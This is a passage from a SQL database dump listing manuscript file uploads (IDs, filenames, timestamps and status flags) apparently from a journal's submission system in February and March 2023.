13:11:45',1,3,0),(35842,13519,'13519-Manuscript-2023-02-28-exh8-ipaom-23-13519.docx',NULL,'2023-02-28 13:11:55',1,3,0),(35843,13525,'13525-0-Manuscript-2023-02-28.docx',NULL,'2023-02-28 13:28:29',1,1,0),(35844,13470,'13470-Manuscript-2023-02-28-fgd1.pdf',NULL,'2023-02-28 17:14:12',1,3,1),(35845,13444,'13444-Manuscript-2023-02-28-eyx2.pdf',NULL,'2023-02-28 17:14:47',1,3,0),(35846,13444,'13444-Manuscript-2023-03-01-pd8l.pdf',NULL,'2023-03-01 11:02:43',1,3,1),(35847,13423,'13423-Manuscript-2023-03-01-ifzp.pdf',NULL,'2023-03-01 11:04:43',1,3,0),(35848,13423,'13423-Manuscript-2023-03-01-idgp.pdf',NULL,'2023-03-01 11:05:35',1,3,1),(35849,13424,'13424-Manuscript-2023-03-01-2iub.pdf',NULL,'2023-03-01 11:06:18',1,3,1),(35850,13427,'13427-Manuscript-2023-03-01-b6dm.pdf',NULL,'2023-03-01 11:06:53',1,3,1),(35851,13526,'13526-0-Manuscript-2023-03-01.pdf',NULL,'2023-03-01 12:00:45',1,1,0),(35852,13482,'13482-Manuscript-2023-03-01-2zkh.pdf',NULL,'2023-03-01 18:16:42',1,3,1),(35853,13479,'13479-Manuscript-2023-03-01-jdct.pdf',NULL,'2023-03-01 18:17:29',1,3,1),(35854,13480,'13480-Manuscript-2023-03-01-y63a.pdf',NULL,'2023-03-01 18:18:05',1,3,1),(35855,13481,'13481-Manuscript-2023-03-01-hlqm.pdf',NULL,'2023-03-01 18:18:42',1,3,1),(35857,13528,'13528-0-Manuscript-2023-03-02.docx',NULL,'2023-03-02 14:19:32',1,1,0),(35858,13478,'13478-Manuscript-2023-03-02-039s.pdf',NULL,'2023-03-02 14:38:00',1,3,1),(35859,13514,'13514-Manuscript-2023-03-02-jwvr-graphic-completed.pdf',NULL,'2023-03-02 15:58:15',1,3,0),(35860,13512,'13512-Manuscript-2023-03-02-58mz-graphic-completed.pdf',NULL,'2023-03-02 15:58:26',1,3,0),(35861,13511,'13511-Manuscript-2023-03-02-sny7-graphic-completed.pdf',NULL,'2023-03-02 15:58:37',1,3,0),(35862,13510,'13510-Manuscript-2023-03-02-3djo-graphic-completed.pdf',NULL,'2023-03-02 15:58:53',1,3,0),(35863,13510,'13510-Manuscript-2023-03-02-pzxj.pdf',NULL,'2023-03-02 16:46:33',1,3,1),(35864,13511,'13511-Manuscript-2023-03-02-wtv3.pdf',NULL,'2023-03-02 16:47:56',1,3,1),(35865,13512,'13512-Manuscript-2023-03-02-pb5z.pdf',NULL,'2023-03-02 16:49:00',1,3,1),(35866,13514,'13514-Manuscript-2023-03-02-k98f.pdf',NULL,'2023-03-02 16:50:09',1,3,1),(35867,13529,'13529-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 15:22:51',1,1,0),(35868,13531,'13531-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 17:04:19',1,1,0),(35869,13532,'13532-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 17:06:43',1,1,0),(35870,13533,'13533-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 17:09:26',1,1,0),(35871,13534,'13534-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 17:12:06',1,1,0),(35872,13535,'13535-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 17:14:05',1,1,0),(35873,13536,'13536-0-Manuscript-2023-03-03.docx',NULL,'2023-03-03 17:16:05',1,1,0),(35877,13540,'13540-0-Manuscript-2023-03-06.pdf',NULL,'2023-03-06 11:13:32',1,1,0),(35878,13474,'13474-Manuscript-2023-03-06-1893.pdf',NULL,'2023-03-06 14:27:58',1,3,1),(35879,13526,'13526-w2dc-Manuscript-proof-submission-2023-03-06.rar',NULL,'2023-03-06 14:52:43',1,3,0),(35880,13526,'13526-Manuscript-2023-03-06-do16-ap-team-revised.rar',NULL,'2023-03-06 15:00:07',1,3,1),(35881,13526,'13526-Manuscript-2023-03-06-rs3l-graphic-completed.pdf',NULL,'2023-03-06 15:28:13',1,3,0),(35882,13526,'13526-Manuscript-2023-03-06-tbsu.pdf',NULL,'2023-03-06 16:43:53',1,3,1),(35883,13541,'13541-0-Manuscript-2023-03-06.docx',NULL,'2023-03-06 19:58:57',1,1,0),(35884,13538,'13538-1ork-Manuscript-2023-03-08.docx',NULL,'2023-03-08 10:27:31',1,1,0),(35885,13538,'13538-6r7g-Manuscript-2023-03-08.docx',NULL,'2023-03-08 10:27:31',1,1,0),(35886,13538,'13538-baeo-Manuscript-2023-03-08.docx',NULL,'2023-03-08 10:27:31',1,1,0),(35889,13519,'13519-Manuscript-2023-03-08-wlbq-graphic-completed.pdf',NULL,'2023-03-08 10:40:49',1,3,0),(35890,13518,'13518-Manuscript-2023-03-08-9fzv-graphic-completed.pdf',NULL,'2023-03-08 10:40:55',1,3,0),(35891,13517,'13517-Manuscript-2023-03-08-xv8p-graphic-completed.pdf',NULL,'2023-03-08 10:40:57',1,3,0),(35892,13516,'13516-Manuscript-2023-03-08-3wf7-graphic-completed.pdf',NULL,'2023-03-08 10:41:00',1,3,0),(35893,13515,'13515-Manuscript-2023-03-08-9p0u-graphic-completed.pdf',NULL,'2023-03-08 10:41:03',1,3,0),(35897,13546,'13546-0-Manuscript-2023-03-09.docx',NULL,'2023-03-09 13:46:21',1,1,0),(35898,13547,'13547-0-Manuscript-2023-03-09.docx',NULL,'2023-03-09 13:48:44',1,1,0),(35899,13548,'13548-0-Manuscript-2023-03-09.docx',NULL,'2023-03-09 13:51:36',1,1,0),(35900,13515,'13515-Manuscript-2023-03-09-29p0.pdf',NULL,'2023-03-09 16:59:47',1,3,0),(35901,13516,'13516-Manuscript-2023-03-09-07bt.pdf',NULL,'2023-03-09 17:00:18',1,3,0),(35902,13517,'13517-Manuscript-2023-03-09-w3g8.pdf',NULL,'2023-03-09 17:00:28',1,3,0),(35903,13518,'13518-Manuscript-2023-03-09-ovn9.pdf',NULL,'2023-03-09 17:00:40',1,3,0),(35904,13519,'13519-Manuscript-2023-03-09-ri5g.pdf',NULL,'2023-03-09 17:00:51',1,3,0),(35905,13529,'13529-394e-Manuscript-proof-submission-2023-03-10.rar',NULL,'2023-03-10 09:46:28',1,3,0),(35906,13529,'13529-Manuscript-2023-03-10-1oti-ap-team-revised.rar',NULL,'2023-03-10 09:58:50',1,3,1),(35907,13519,'13519-Manuscript-2023-03-10-nofg-ap-ame-revised.pdf',NULL,'2023-03-10 10:58:21',1,3,0),(35908,13518,'13518-Manuscript-2023-03-10-sygm-ap-ame-revised.pdf',NULL,'2023-03-10 10:59:05',1,3,0),(35909,13517,'13517-Manuscript-2023-03-10-wgn8-ap-ame-revised.pdf',NULL,'2023-03-10 11:01:06',1,3,0),(35910,13516,'13516-Manuscript-2023-03-10-3k4e-ap-ame-revised.pdf',NULL,'2023-03-10 11:06:22',1,3,0),(35911,13529,'13529-Manuscript-2023-03-10-q6d8-graphic-completed.pdf',NULL,'2023-03-10 13:38:54',1,3,0),(35912,13529,'13529-Manuscript-2023-03-10-ay78.pdf',NULL,'2023-03-10 13:58:21',1,3,1),(35913,13516,'13516-Manuscript-2023-03-10-xlq9.pdf',NULL,'2023-03-10 14:33:26',1,3,0),(35914,13517,'13517-Manuscript-2023-03-10-4lit.pdf',NULL,'2023-03-10 14:33:38',1,3,0),(35915,13518,'13518-Manuscript-2023-03-10-c45q.pdf',NULL,'2023-03-10 14:33:51',1,3,0),(35916,13519,'13519-Manuscript-2023-03-10-1diz.pdf',NULL,'2023-03-10 14:34:03',1,3,0),(35918,13550,'13550-0-Manuscript-2023-03-13.docx',NULL,'2023-03-13 11:33:46',1,1,0),(35919,13551,'13551-0-Manuscript-2023-03-13.docx',NULL,'2023-03-13 11:36:57',1,1,0),(35920,13552,'13552-0-Manuscript-2023-03-13.docx',NULL,'2023-03-13 11:40:11',1,1,0),(35921,13553,'13553-0-Manuscript-2023-03-13.docx',NULL,'2023-03-13 11:44:02',1,1,0),(35922,13554,'13554-0-Manuscript-2023-03-13.docx',NULL,'2023-03-13 11:47:32',1,1,0),(35923,13555,'13555-0-Manuscript-2023-03-13.pdf',NULL,'2023-03-13 16:50:20',1,1,0),(35924,13556,'13556-0-Manuscript-2023-03-13.docx',NULL,'2023-03-13 17:52:10',1,1,0),(35925,13502,'13502-o4qz-Manuscript-proof-submission-2023-03-14.rar',NULL,'2023-03-14 10:43:35',1,3,0),(35926,13502,'13502-Manuscript-2023-03-14-3ghn-ap-team-revised.rar',NULL,'2023-03-14 11:06:21',1,3,1),(35927,13558,'13558-hzmd-Manuscript-2023-03-14.docx',NULL,'2023-03-14 11:30:28',1,1,0),(35928,13559,'13559-18hp-Manuscript-2023-03-14.docx',NULL,'2023-03-14 11:31:51',1,1,0),(35929,12960,'12960-zgdm-Manuscript-proof-submission-2023-03-14.pdf',NULL,'2023-03-14 13:13:13',1,3,0),(35930,12960,'12960-uyf7-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 13:13:13',1,3,0),(35931,13560,'13560-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 13:19:06',1,1,0),(35932,13561,'13561-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 13:21:55',1,1,0),(35933,13562,'13562-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 13:29:07',1,1,0),(35934,13563,'13563-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 13:34:54',1,1,0),(35935,13564,'13564-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 13:38:56',1,1,0),(35936,13550,'13550-7fju-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 14:08:22',1,3,0),(35937,13551,'13551-q7x3-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 14:09:12',1,3,0),(35938,13552,'13552-9ftb-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 14:10:21',1,3,0),(35939,13552,'13552-j0qa-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 14:10:23',1,3,0),(35940,13554,'13554-j93x-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 14:14:27',1,3,0),(35941,13553,'13553-c9yb-Manuscript-proof-submission-2023-03-14.docx',NULL,'2023-03-14 14:15:51',1,3,0),(35942,13565,'13565-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 14:19:33',1,1,0),(35944,13567,'13567-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 15:15:58',1,1,0),(35945,13568,'13568-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 16:38:25',1,1,0),(35946,13502,'13502-Manuscript-2023-03-14-vhzr-graphic-completed.pdf',NULL,'2023-03-14 16:55:52',1,3,0),(35947,13569,'13569-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 16:59:00',1,1,0),(35948,13570,'13570-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:03:28',1,1,0),(35949,13571,'13571-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:05:57',1,1,0),(35950,13572,'13572-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:05:58',1,1,0),(35951,13573,'13573-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:07:15',1,1,0),(35952,13574,'13574-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:09:01',1,1,0),(35953,13575,'13575-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:09:09',1,1,0),(35954,13576,'13576-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:10:00',1,1,0),(35955,13577,'13577-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:13:09',1,1,0),(35956,13578,'13578-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:13:42',1,1,0),(35957,13579,'13579-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:15:52',1,1,0),(35958,13580,'13580-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:16:50',1,1,0),(35959,13581,'13581-0-Manuscript-2023-03-14.docx',NULL,'2023-03-14 17:19:17',1,1,0),(35960,13496,'13496-yzbj-Manuscript-proof-submission-2023-03-15.docx',NULL,'2023-03-15 13:37:51',1,3,0),(35961,13525,'13525-lhn2-Manuscript-proof-submission-2023-03-15.rar',NULL,'2023-03-15 13:48:46',1,3,0),(35962,13582,'13582-0-Manuscript-2023-03-15.docx',NULL,'2023-03-15 14:57:53',1,1,0),(35963,13583,'13583-0-Manuscript-2023-03-15.docx',NULL,'2023-03-15 16:40:41',1,1,0),(35964,13584,'13584-0-Manuscript-2023-03-15.docx',NULL,'2023-03-15 16:42:55',1,1,0),(35965,13585,'13585-0-Manuscript-2023-03-15.docx',NULL,'2023-03-15 16:45:03',1,1,0),(35966,13586,'13586-0-Manuscript-2023-03-15.docx',NULL,'2023-03-15 16:46:27',1,1,0),(35967,13525,'13525-Manuscript-2023-03-15-jnf7-ap-team-revised.rar',NULL,'2023-03-15 16:51:31',1,3,1),(35968,13525,'13525-Manuscript-2023-03-16-tph4.pdf',NULL,'2023-03-16 10:21:37',1,3,1),(35969,13587,'13587-0-Manuscript-2023-03-16.pdf',NULL,'2023-03-16 10:33:47',1,1,0),(35970,13525,'13525-Manuscript-2023-03-16-6ldz.pdf',NULL,'2023-03-16 11:02:57',1,3,0),(35971,13528,'13528-0kl1-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:12:34',1,3,0),(35972,13531,'13531-nw3g-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:13:06',1,3,0),(35973,13532,'13532-b419-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:13:38',1,3,0),(35974,13533,'13533-insw-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:13:55',1,3,0),(35975,13534,'13534-tc5i-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:14:14',1,3,0),(35976,13535,'13535-axg8-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:14:39',1,3,0),(35977,13536,'13536-35i9-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:15:00',1,3,0),(35978,13546,'13546-mi2h-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:15:18',1,3,0),(35979,13547,'13547-epf1-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:15:39',1,3,0),(35980,13548,'13548-jzil-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 11:15:56',1,3,0),(35981,13546,'13546-Manuscript-2023-03-16-24ny-ap-team-revised.rar',NULL,'2023-03-16 11:58:03',1,3,1),(35982,13547,'13547-Manuscript-2023-03-16-1z8i-ap-team-revised.rar',NULL,'2023-03-16 11:58:43',1,3,1),(35983,13548,'13548-Manuscript-2023-03-16-lqwd-ap-team-revised.rar',NULL,'2023-03-16 11:59:18',1,3,1),(35984,13531,'13531-Manuscript-2023-03-16-u0ka-ap-team-revised.rar',NULL,'2023-03-16 11:59:58',1,3,1),(35985,13532,'13532-Manuscript-2023-03-16-e1l0-ap-team-revised.rar',NULL,'2023-03-16 12:00:36',1,3,1),(35986,13528,'13528-Manuscript-2023-03-16-wjnr-ap-team-revised.rar',NULL,'2023-03-16 12:01:15',1,3,1),(35987,13533,'13533-Manuscript-2023-03-16-p58s-ap-team-revised.rar',NULL,'2023-03-16 12:02:04',1,3,1),(35988,13536,'13536-Manuscript-2023-03-16-uvc8-ap-team-revised.rar',NULL,'2023-03-16 12:02:53',1,3,1),(35989,13535,'13535-Manuscript-2023-03-16-kfwn-ap-team-revised.rar',NULL,'2023-03-16 12:03:38',1,3,1),(35990,13534,'13534-Manuscript-2023-03-16-ku1e-ap-team-revised.rar',NULL,'2023-03-16 12:04:30',1,3,1),(35991,13469,'13469-4g09-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:38:57',1,3,0),(35992,13469,'13469-xyit-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:38:59',1,3,0),(35993,13469,'13469-0yfo-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:39:00',1,3,0),(35994,13469,'13469-5hmc-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:39:02',1,3,0),(35995,13469,'13469-3otj-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:39:03',1,3,0),(35996,13469,'13469-a9mu-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:39:05',1,3,0),(35997,13469,'13469-4acn-Manuscript-proof-submission-2023-03-16.rar',NULL,'2023-03-16 14:39:07',1,3,0),(35998,13588,'13588-0-Manuscript-2023-03-16.docx',NULL,'2023-03-16 15:13:12',1,1,0),(35999,13589,'13589-0-Manuscript-2023-03-16.docx',NULL,'2023-03-16 15:24:45',1,1,0),(36001,13591,'13591-0-Manuscript-2023-03-16.docx',NULL,'2023-03-16 15:29:09',1,1,0),(36002,13592,'13592-0-Manuscript-2023-03-16.docx',NULL,'2023-03-16 15:30:33',1,1,0),(36003,13593,'13593-0-Manuscript-2023-03-16.docx',NULL,'2023-03-16 15:33:52',1,1,0),(36004,13594,'13594-0-Manuscript-2023-03-16.docx',NULL,'2023-03-16 15:35:33',1,1,0),(36005,13528,'13528-Manuscript-2023-03-16-kzc7-graphic-completed.pdf',NULL,'2023-03-16 17:23:09',1,3,0),(36006,13532,'13532-Manuscript-2023-03-16-4dtl-graphic-completed.pdf',NULL,'2023-03-16 17:23:21',1,3,0),(36007,13531,'13531-Manuscript-2023-03-16-2sb6-graphic-completed.pdf',NULL,'2023-03-16 17:23:25',1,3,0),(36008,13534,'13534-Manuscript-2023-03-16-msvt-graphic-completed.pdf',NULL,'2023-03-16 17:23:37',1,3,0),(36009,13533,'13533-Manuscript-2023-03-16-pgmt-graphic-completed.pdf',NULL,'2023-03-16 17:23:40',1,3,0),(36010,13546,'13546-Manuscript-2023-03-16-h0ky-graphic-completed.pdf',NULL,'2023-03-16 17:44:27',1,3,0),(36011,13536,'13536-Manuscript-2023-03-16-7yo5-graphic-completed.pdf',NULL,'2023-03-16 17:44:30',1,3,0),(36012,13535,'13535-Manuscript-2023-03-16-2g6t-graphic-completed.pdf',NULL,'2023-03-16 17:44:34',1,3,0),(36013,13548,'13548-Manuscript-2023-03-16-g8ka-graphic-completed.pdf',NULL,'2023-03-16 17:44:39',1,3,0),(36014,13547,'13547-Manuscript-2023-03-16-qbgf-graphic-completed.pdf',NULL,'2023-03-16 17:44:43',1,3,0),(36015,13595,'13595-0-Manuscript-2023-03-17.docx',NULL,'2023-03-17 10:04:03',1,1,0),(36016,13509,'13509-n24k-Manuscript-proof-submission-2023-03-17.rar',NULL,'2023-03-17 11:22:24',1,3,0),(36017,13521,'13521-vo24-Manuscript-proof-submission-2023-03-17.rar',NULL,'2023-03-17 11:50:13',1,3,0),(36018,13521,'13521-Manuscript-2023-03-17-25wy-ap-team-revised.rar',NULL,'2023-03-17 11:57:46',1,3,1),(36019,13506,'13506-daez-Manuscript-proof-submission-2023-03-17.rar',NULL,'2023-03-17 12:07:22',1,3,0),(36020,13430,'13430-jv5l-Manuscript-proof-submission-2023-03-17.rar',NULL,'2023-03-17 12:19:15',1,3,0),(36021,13550,'13550-Manuscript-2023-03-17-ux4f-ipaom-23-13550.docx',NULL,'2023-03-17 13:22:47',1,3,0),(36022,13551,'13551-Manuscript-2023-03-17-gz8e-ipaom-23-13551.docx',NULL,'2023-03-17 13:22:55',1,3,0),(36023,13552,'13552-Manuscript-2023-03-17-emc4-ipaom-23-13552.docx',NULL,'2023-03-17 13:23:06',1,3,0),(36024,13553,'13553-Manuscript-2023-03-17-3jsd-ipaom-23-13553.docx',NULL,'2023-03-17 13:23:16',1,3,0),(36025,13554,'13554-Manuscript-2023-03-17-u5ph-ipaom-23-13554.docx',NULL,'2023-03-17 13:23:27',1,3,0),(36026,13596,'13596-0-Manuscript-2023-03-17.docx',NULL,'2023-03-17 13:40:27',1,1,0),(36027,13508,'13508-wr5o-Manuscript-proof-submission-2023-03-17.rar',NULL,'2023-03-17 13:52:58',1,3,0),(36028,13498,'13498-td38-Manuscript-proof-submission-2023-03-17.docx',NULL,'2023-03-17 13:59:41',1,3,0),(36029,13497,'13497-9jbf-Manuscript-proof-submission-2023-03-17.docx',NULL,'2023-03-17 13:59:58',1,3,0),(36030,13435,'13435-30zu-Manuscript-proof-submission-2023-03-17.docx',NULL,'2023-03-17 14:00:18',1,3,0),(36031,13434,'13434-ahd0-Manuscript-proof-submission-2023-03-17.docx',NULL,'2023-03-17 14:00:38',1,3,0),(36032,13433,'13433-wc0b-Manuscript-proof-submission-2023-03-17.docx',NULL,'2023-03-17 14:01:40',1,3,0),(36033,13555,'13555-fbir-Manuscript-proof-submission-2023-03-17.rar',NULL,'2023-03-17 14:18:10',1,3,0),(36034,13509,'13509-Manuscript-2023-03-17-0pzm-ap-team-revised.rar',NULL,'2023-03-17 14:46:39',1,3,1),(36035,13430,'13430-Manuscript-2023-03-17-mf8q-ap-team-revised.rar',NULL,'2023-03-17 14:47:06',1,3,1),(36036,13506,'13506-Manuscript-2023-03-17-l410-ap-team-revised.rar',NULL,'2023-03-17 14:47:57',1,3,1),(36037,13555,'13555-Manuscript-2023-03-17-3bme-ap-team-revised.rar',NULL,'2023-03-17 15:39:42',1,3,1),(36038,13547,'13547-Manuscript-2023-03-17-eyb2.pdf',NULL,'2023-03-17 16:57:47',1,3,1),(36039,13546,'13546-Manuscript-2023-03-17-9ns1.pdf',NULL,'2023-03-17 16:58:56',1,3,1),(36040,13548,'13548-Manuscript-2023-03-17-wre3.pdf',NULL,'2023-03-17 17:05:45',1,3,1),(36041,13528,'13528-Manuscript-2023-03-17-479p.pdf',NULL,'2023-03-17 17:06:54',1,3,1),(36042,13531,'13531-Manuscript-2023-03-17-3cnr.pdf',NULL,'2023-03-17 17:07:51',1,3,1),(36043,13532,'13532-Manuscript-2023-03-17-1uae.pdf',NULL,'2023-03-17 17:08:52',1,3,1),(36044,13536,'13536-Manuscript-2023-03-17-25tu.pdf',NULL,'2023-03-17 17:09:53',1,3,1),(36045,13533,'13533-Manuscript-2023-03-17-v712.pdf',NULL,'2023-03-17 17:10:59',1,3,1),(36046,13535,'13535-Manuscript-2023-03-17-ph3a.pdf',NULL,'2023-03-17 17:12:04',1,3,1),(36047,13534,'13534-Manuscript-2023-03-17-bug7.pdf',NULL,'2023-03-17 17:13:11',1,3,1),(36048,13597,'13597-0-Manuscript-2023-03-17.pdf',NULL,'2023-03-17 18:36:52',1,1,0),(36049,13555,'13555-Manuscript-2023-03-18-epg9-graphic-completed.pdf',NULL,'2023-03-18 10:10:36',1,3,0),(36050,13501,'13501-79yh-Manuscript-proof-submission-2023-03-18.rar',NULL,'2023-03-18 12:26:20',1,3,0),(36051,13501,'13501-Manuscript-2023-03-18-qle9-ap-team-revised.rar',NULL,'2023-03-18 12:41:00',1,3,1),(36052,13540,'13540-9jg2-Manuscript-proof-submission-2023-03-20.rar',NULL,'2023-03-20 10:09:28',1,3,0),(36053,13521,'13521-Manuscript-2023-03-20-eiug-graphic-completed.pdf',NULL,'2023-03-20 10:10:43',1,3,0),(36054,13509,'13509-Manuscript-2023-03-20-n20q-graphic-completed.pdf',NULL,'2023-03-20 11:18:41',1,3,0),(36055,13506,'13506-Manuscript-2023-03-20-zfcm-graphic-completed.pdf',NULL,'2023-03-20 11:18:41',1,3,0),(36056,13430,'13430-Manuscript-2023-03-20-6jky-graphic-completed.pdf',NULL,'2023-03-20 11:18:53',1,3,0),(36057,13506,'13506-Manuscript-2023-03-20-e5j1.pdf',NULL,'2023-03-20 14:23:31',1,3,1),(36058,13430,'13430-Manuscript-2023-03-20-26bx.pdf',NULL,'2023-03-20 14:25:29',1,3,1),(36059,13558,'13558-aqtg-Manuscript-proof-submission-2023-03-20.rar',NULL,'2023-03-20 14:41:02',1,3,0),(36060,13565,'13565-d0rm-Manuscript-proof-submission-2023-03-20.rar',NULL,'2023-03-20 14:44:04',1,3,0),(36061,13554,'13554-Manuscript-2023-03-20-o1ab-graphic-completed.pdf',NULL,'2023-03-20 14:52:16',1,3,0),(36062,13553,'13553-Manuscript-2023-03-20-8jwh-graphic-completed.pdf',NULL,'2023-03-20 14:52:19',1,3,0),(36063,13552,'13552-Manuscript-2023-03-20-gsyq-graphic-completed.pdf',NULL,'2023-03-20 14:52:23',1,3,0),(36064,13551,'13551-Manuscript-2023-03-20-oqph-graphic-completed.pdf',NULL,'2023-03-20 14:52:26',1,3,0),(36065,13550,'13550-Manuscript-2023-03-20-oyvx-graphic-completed.pdf',NULL,'2023-03-20 14:52:29',1,3,0),(36066,13509,'13509-Manuscript-2023-03-20-p4wt.pdf',NULL,'2023-03-20 15:01:15',1,3,1),(36067,13564,'13564-gqdr-Manuscript-proof-submission-2023-03-20.rar',NULL,'2023-03-20 15:04:54',1,3,0),(36068,13435,'13435-Manuscript-2023-03-20-fo8u-ipaclr-23-13435.docx',NULL,'2023-03-20 17:04:26',1,3,0),(36069,13434,'13434-Manuscript-2023-03-20-la4k-ipaclr-23-13434.docx',NULL,'2023-03-20 17:05:50',1,3,0),(36070,13497,'13497-Manuscript-2023-03-20-r3oq-ipaclr-23-13497.docx',NULL,'2023-03-20 17:08:33',1,3,0),(36071,13498,'13498-Manuscript-2023-03-20-301x-ipaclr-23-13498.docx',NULL,'2023-03-20 17:08:50',1,3,0),(36072,13435,'13435-Manuscript-2023-03-20-632f-graphic-completed.pdf',NULL,'2023-03-20 17:28:22',1,3,0),(36073,13434,'13434-Manuscript-2023-03-20-hac1-graphic-completed.pdf',NULL,'2023-03-20 17:29:29',1,3,0),(36074,13433,'13433-Manuscript-2023-03-20-cx8p-graphic-completed.pdf',NULL,'2023-03-20 17:30:25',1,3,0),(36075,13497,'13497-Manuscript-2023-03-20-oeth-graphic-completed.pdf',NULL,'2023-03-20 17:30:55',1,3,0),(36076,13498,'13498-Manuscript-2023-03-20-o760-graphic-completed.pdf',NULL,'2023-03-20 17:31:21',1,3,0),(36077,13435,'13435-Manuscript-2023-03-20-k1sw.pdf',NULL,'2023-03-20 17:47:02',1,3,0),(36078,13434,'13434-Manuscript-2023-03-20-vly3.pdf',NULL,'2023-03-20 17:47:29',1,3,0),(36079,13433,'13433-Manuscript-2023-03-20-bkx3.pdf',NULL,'2023-03-20 17:48:12',1,3,0),(36080,13497,'13497-Manuscript-2023-03-20-s7y3.pdf',NULL,'2023-03-20 17:48:46',1,3,0),(36081,13498,'13498-Manuscript-2023-03-20-kcg8.pdf',NULL,'2023-03-20 17:49:13',1,3,0),(36082,13359,'13359-4lku-Manuscript-proof-submission-2023-03-20.docx',NULL,'2023-03-20 17:54:23',1,3,0),(36083,13598,'13598-0-Manuscript-2023-03-21.docx',NULL,'2023-03-21 09:37:12',1,1,0),(36084,13564,'13564-Manuscript-2023-03-21-p17y-ipacm-23-13564.rar',NULL,'2023-03-21 11:50:18',1,3,1),(36085,13565,'13565-Manuscript-2023-03-21-srfh-ipacm-23-13565.rar',NULL,'2023-03-21 11:50:48',1,3,1),(36086,13508,'13508-Manuscript-2023-03-21-8rft-ipacm-23-13508.rar',NULL,'2023-03-21 11:52:18',1,3,1),(36087,13558,'13558-Manuscript-2023-03-21-hns3-ipacm-23-13558.rar',NULL,'2023-03-21 11:53:12',1,3,0),(36088,13558,'13558-Manuscript-2023-03-21-z7tl-ipacm-23-13558.rar',NULL,'2023-03-21 11:55:28',1,3,1),(36089,13541,'13541-uiod-Manuscript-proof-submission-2023-03-21.rar',NULL,'2023-03-21 11:57:52',1,3,0),(36090,13541,'13541-Manuscript-2023-03-21-0k6f-ap-team-revised.rar',NULL,'2023-03-21 12:09:12',1,3,1),(36091,13596,'13596-gbs3-Manuscript-proof-submission-2023-03-21.rar',NULL,'2023-03-21 13:24:10',1,3,0),(36092,13540,'13540-Manuscript-2023-03-21-mfi1-ipjnn-23-13540.rar',NULL,'2023-03-21 13:47:11',1,3,1),(36093,13599,'13599-0-Manuscript-2023-03-21.docx',NULL,'2023-03-21 14:14:29',1,1,0),(36094,13600,'13600-0-Manuscript-2023-03-21.docx',NULL,'2023-03-21 14:18:55',1,1,0),(36095,13601,'13601-0-Manuscript-2023-03-21.docx',NULL,'2023-03-21 14:23:17',1,1,0),(36096,13126,'13126-Manuscript-2023-03-21-gqh3.docx',NULL,'2023-03-21 14:24:52',1,3,0),(36097,13126,'13126-Manuscript-2023-03-21-r8yd.pdf',NULL,'2023-03-21 14:25:39',1,3,0),(36098,13602,'13602-0-Manuscript-2023-03-21.docx',NULL,'2023-03-21 14:26:32',1,1,0),(36099,13603,'13603-0-Manuscript-2023-03-21.docx',NULL,'2023-03-21 14:28:02',1,1,0),(36100,13140,'13140-Manuscript-2023-03-21-xgrf.docx',NULL,'2023-03-21 14:29:09',1,3,0),(36101,13140,'13140-Manuscript-2023-03-21-ryfu.pdf',NULL,'2023-03-21 14:29:19',1,3,0),(36102,13141,'13141-Manuscript-2023-03-21-bgpn.docx',NULL,'2023-03-21 14:32:57',1,3,0),(36103,13141,'13141-Manuscript-2023-03-21-gebd.pdf',NULL,'2023-03-21 14:33:14',1,3,0),(36104,13142,'13142-Manuscript-2023-03-21-rv6k.docx',NULL,'2023-03-21 14:36:47',1,3,0),(36105,13142,'13142-Manuscript-2023-03-21-hsqo.pdf',NULL,'2023-03-21 14:37:02',1,3,0),(36106,13525,'13525-izgw-Manuscript-proof-submission-2023-03-21.rar',NULL,'2023-03-21 14:56:08',1,3,0),(36107,13540,'13540-urcy-Manuscript-proof-submission-2023-03-21.rar',NULL,'2023-03-21 